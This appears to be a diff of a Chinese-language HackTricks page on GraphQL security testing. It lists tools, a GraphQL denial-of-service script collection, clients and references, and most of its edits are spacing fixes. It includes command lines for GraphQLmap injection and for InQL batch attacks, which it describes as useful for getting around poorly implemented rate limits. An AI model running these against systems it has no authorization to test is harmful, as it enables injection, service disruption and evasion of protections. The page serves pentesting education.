+- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): 测试 graphql 端点的常见错误配置
+- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): 重点进行批量 GraphQL 查询和变更的 GraphQL 安全审计脚本。
+- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): 指纹识别正在使用的 graphql
+- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): 可用于抓取模式和搜索敏感数据、测试授权、暴力破解模式并找到给定类型的路径的工具包。
+- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 可作为独立工具或 [Burp 扩展](https://github.com/doyensec/inql) 使用。
+- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): 也可以作为 CLI 客户端使用以自动化攻击: `python3 graphqlmap.py -u http://example.com/graphql --inject`
+- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): 列出在 GraphQL 模式中到达给定类型的不同方式的工具。
+- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Standalone 和 CLI 模式的 InQL 的继任者
+- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 用于高级 GraphQL 测试的 Burp 扩展或 Python 脚本。 _**Scanner**_ 是 InQL v5.0 的核心,您可以分析 GraphQL 端点或本地 introspection 模式文件。它会自动生成所有可能的查询和变更,并将其组织成结构化视图以供分析。_**Attacker**_ 组件允许您运行批量 GraphQL 攻击,这对于规避实现不良的速率限制非常有用: `python3 inql.py -t http://example.com/graphql -o output.json`
+- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 尝试通过使用一些 Graphql 数据库的帮助,即使在禁用 introspection 的情况下也获取模式,这些数据库将建议变更和参数的名称。
### 利用常见漏洞的脚本
-- [https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS](https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS): 用于利用脆弱graphql环境中的拒绝服务漏洞的脚本集合。
+- [https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS](https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS): 用于利用脆弱 graphql 环境中的拒绝服务漏洞的脚本集合。
### 客户端
-- [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI客户端
-- [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI客户端
+- [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI 客户端
+- [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI 客户端
### 自动测试
@@ -576,7 +639,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
https://graphql-dashboard.herokuapp.com/
{{#endref}}
-- 解释AutoGraphQL的视频: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
+- 解释 AutoGraphQL 的视频: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
## 参考
@@ -587,5 +650,7 @@ https://graphql-dashboard.herokuapp.com/
- [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md)
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
+- [**https://github.com/advisories/GHSA-5gc2-7c65-8fq8**](https://github.com/advisories/GHSA-5gc2-7c65-8fq8)
+- [**https://github.com/escape-tech/graphql-armor**](https://github.com/escape-tech/graphql-armor)
{{#include ../../banners/hacktricks-training.md}}